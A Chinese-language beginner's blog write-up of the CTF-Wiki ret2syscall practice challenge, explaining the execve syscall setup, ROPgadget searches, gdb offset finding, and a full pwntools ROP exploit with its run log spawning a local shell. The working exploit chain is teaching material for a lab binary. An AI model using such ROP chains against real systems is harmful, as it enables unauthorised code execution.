初次接触到ret2syscall,而ret2syscall的题目目前没有在各大平台的题目类型筛选中找到,所以还是刷一刷Wiki的经典题目吧!过程中遇到很多问题,包括偏移量的计算、ret2syscall原理的理解等等。尝试以萌新的视角,来分享、解析做题过程中的理解。
目录
前言
一、ret2syscall原理
系统调用
二、ret2syscall做题过程
0. 基本姿势
1.寻找可用gadget
ROPgadget工具
2. 编写exp
3. gdb调试求偏移量
三、exp
前言
虽然网上(包括CSDN)有很多ret2syscall的例题,但大多是Wiki,且摘自官方题解
蒟蒻想从自己的“碰南墙“的历程出发,以蒟蒻萌新的视角,述说蒟蒻萌新的新路历程~~
一、ret2syscall原理
在此之前,我们萌新已经初步接触了ret2text、ret2shellcode,事实上,包括ret2syscall,这几种方法都是在——
利用了指令集中的 ret 指令,改变了指令流的执行顺序执行(主要是)system("/bin/sh") 的代码
- 那么ret2text——程序中有system("/bin/sh")代码段,控制流执行
- 那么ret2shellcode——程序中不存在system("/bin/sh/")的代码段,自己恶意填入代码并在可执行段执行
- 那么ret2syscall——程序中不存在system("/bin/sh/")的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序是静态链接,且程序中中存在代码片段,拼接可组成系统调用
值得指出的是,并不是说一定要不存在system("/bin/sh")的程序,才适用ret2shellcode和ret2syscall,而是说,难度基本上来说是从ret2text—ret2shellcode—ret2syscall上升的(至少从学习的次序来看是这样的)
那么什么是系统调用呢?
系统调用
专业写系统调用的博客不在少数,专业而细致的内容不必在此赘述,而我想强调的是咱萌新做题所需要理解的最低的程度的知识——知道它是大概是怎么样的、有什么特点、怎么用。
简单来说——
当你把某一些寄存器设置为特殊的值,并通过特殊的语句触发,就可以产生一项功能。
只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
emmm有些抽象。这就好比是一个函数,选好了合适的函数名(某个特殊寄存器的特殊的值),你设定好了参数(其他寄存器的特殊的值),并call 这个函数(一个特殊的语句),就能够执行这个函数(产生作用)
具体看,我们要怎么利用这个系统调用呢——按照上面说的,修改寄存器的值,并触发系统调用。
- 系统调用号,即 eax 应该为 0xb,因为是execve所以是0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
当我将这些寄存器的值修改好后,通过 int 0x80 这个特殊的语句,触发系统调用,实际上就产生了execve("/bin/sh/",NULL,NULL)的效果,返回了shell
ok,这就是ret2syscall的原理,可能还是有些迷迷糊糊,没关系,记住我们要做的事情,现在来看具体实现过程。
二、ret2syscall做题过程
0. 基本姿势
首先自然是要checksec看一下程序属性,然后file一下看一下是不是静态链接,嗯,都满足,可以尝试ret2syscall。
1.寻找可用gadget
既然我们是要寻找程序中的可用的汇编语句,拼接成最终系统调用的语句,那么就让我们先找一找吧。
我们要做的事情——寻找汇编语句,满足下列条件
1、修改eax的值
2、修改ebx的值
3、修改ecx的值
4、修改edx的值
5、int 0x80
6、因为需要将各个代码片段连起来才能构成最终的系统调用,而这个“相连”实际上是程序流顺次执行这些语句,只需要每句后面都存在ret,逻辑上这些汇编语句就是相连的。
7、为了修改eax的值,pop指令将栈顶元素弹出给指定寄存器,可以满足
附. 其他要寻找的片段,需要了再说
如何在程序中寻找汇编语句呢?
ROPgadget工具
分别在rop二进制文件中查找包含pop和ret,相应寄存器的语句
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --only 'pop|ret' | grep 'ecx'
ROPgadget --binary rop --only 'pop|ret' | grep 'edx'
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
找到了,选择第二个。
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
意外惊喜:
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
可以修改三个恰恰是我们需要的寄存器,就决定是它了。
至此我们可以展望一下,修改的语句有了,寄存器修改的值届时我们传入栈中即可——emmm有一个参数是‘/bin/sh’,这个我们得再在程序里找找。
ROPgadget --binary rop --string '/bin/sh'
➜ ret2syscall ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
有了。
还要 触发系统调用的特殊语句 int 0x80
ROPgadget --binary rop --only 'int'
➜ ret2syscall ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
也找到了。嗯,现在展望,是一片康庄坦途。
2. 编写exp
基本的ROP姿势相差不大,找到溢出函数,修改函数返回值 balabala~
from pwn import *
context(os='linux',arch='i386',log_level='debug')
sh=process('./rop')
payload=...
sh.sendline(payload)
sh.interactive()
关键是我们的payload怎么写。想想我们的ret2syscall的原理,稍稍展望一下——
首先,在危险函数处跳转到第一条gadget,修改完后,返回
然而,跳转到第二个gadget,修改完后,返回
...
最后,跳转到int 0x80,触发系统调用,返回shell
我们先把需要的几个gadget地址写一下
gadget_eax_ret_addr=0x080bb196
gadget_edx_ecx_ebx_ret=0x0806eb90
bin_sh_addr=0x080be408
int_0x80_addr=0x08049421
1、先eax这条,然后eax放到栈顶,以供eax修改。
2、再edx_ecx_ebx这条,然后顺次把ebx、ecx、edx的值压栈,之所以这么压,是因为栈后进先出的特性,先修改edx,所以edx的值在栈顶,以此类推。
3、最后跳到执行 int 0x80 触发系统调用。
from pwn import *
gadget_eax_ret_addr=0x080bb196
gadget_edx_ecx_ebx_ret=0x0806eb90
bin_sh_addr=0x080be408
int_0x80_addr=0x08049421
p32(gadget_eax_ret_addr)+p32(0xb)+ \
p32(gadget_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_addr)+ \
p32(int_0x80_addr)
基本写好了,最后是偏移量的计算。这里看了IDA,但是计算错误QAQ
怎么算偏移量都是64h+4h=(6*16+4+4)D=104D
这点现在还是不明白,可能和esp有关,但是萌新不清楚,求教!!
这个计算不行,那就用GDB解决——我用了peda 的pattern create来求
3. gdb调试求偏移量
还没有执行权限,用chmod更改一下属性,使其可执行
就可以正常跑了
先构造个溢出的串串吧
然后c直接跳到输入部分,避免一次次n麻烦死了(这里的c和n指gdb的调试指令,n->next单步调试,c 直接跳到下一个断点),然后复制上面构造的字符串粘贴。
发现报错了
用offset查偏移量
好的112确定了(这个112是包含了ebp的,距离ret地址的偏移量,所以之后不需要加ebp的4字节)
三、exp
from pwn import *
gadget_eax_ret_addr=0x080bb196
gadget_edx_ecx_ebx_ret=0x0806eb90
bin_sh_addr=0x080be408
int_0x80_addr=0x08049421
context(os='linux',arch='i386',log_level='debug')
sh=process('./rop')
payload=b'a'*112+p32(gadget_eax_ret_addr)+p32(0xb)+ \
p32(gadget_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_addr)+ \
p32(int_0x80_addr)
sh.sendline(payload)
sh.interactive()
然后就获得本地shell权限,可以使用ls、cat等等指令。我在本地随便建了个flag文件,通过exp获得shell然后成功CaptureTheFlag ~
~/Desktop
❯ python3 pwntools7_ret2syscall.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/kali/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] A newer version of pwntools is available on pypi (4.10.0.dev0 --> 4.10.0b0).
Update with: $ pip install -U pwntools==4.10.0b0
[+] Starting local process './rop' argv=[b'./rop'] : pid 5560
[DEBUG] Sent 0x8d bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000070 96 b1 0b 08 0b 00 00 00 90 eb 06 08 00 00 00 00 │····│····│····│····│
00000080 00 00 00 00 08 e4 0b 08 21 94 04 08 0a │····│····│!···│·│
0000008d
[*] Switching to interactive mode
[DEBUG] Received 0x43 bytes:
b'This time, no system() and NO SHELLCODE!!!\n'
b'What do you plan to do?\n'
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x54 bytes:
b'EXP\t peda-session-rop.txt pwntools7_ret2syscall.py work\n'
b'PWN-study pwndbg\t\t rop\n'
EXP peda-session-rop.txt pwntools7_ret2syscall.py work
PWN-study pwndbg rop
$ cd ..
[DEBUG] Sent 0x6 bytes:
b'cd ..\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x12c bytes:
b' Desktop\n'
b' Documents\n'
b' Downloads\n'
b' Music\n'
b' Pictures\n'
b' Public\n'
b' Templates\n'
b' Videos\n'
b' backphoto\n'
b' flag\n'
b' gaps\n'
b' install.sh\n'
b' output\n'
b' payload.py\n'
b' peda\n'
b' peda-session-shellcode.txt\n'
b' pwntools7_ret2syscall.py\n'
b' rockstar-py\n'
b' stegpy-master\n'
b' tools\n'
b"''$'\\345\\276\\256\\344\\277\\241\\345\\233\\276\\347\\211\\207''_20220928155331.jpg'\n"
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backphoto
flag
gaps
install.sh
output
payload.py
peda
peda-session-shellcode.txt
pwntools7_ret2syscall.py
rockstar-py
stegpy-master
tools
''$'\345\276\256\344\277\241\345\233\276\347\211\207''_20220928155331.jpg'
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x14 bytes:
b'flag{1111122321312}\n'
flag{1111122321312}
$
萌新总结完毕!敬礼!
总结
真心希望每一次博客都能真正加深自己对一类题型的理解,虽然学习进度还是太慢了!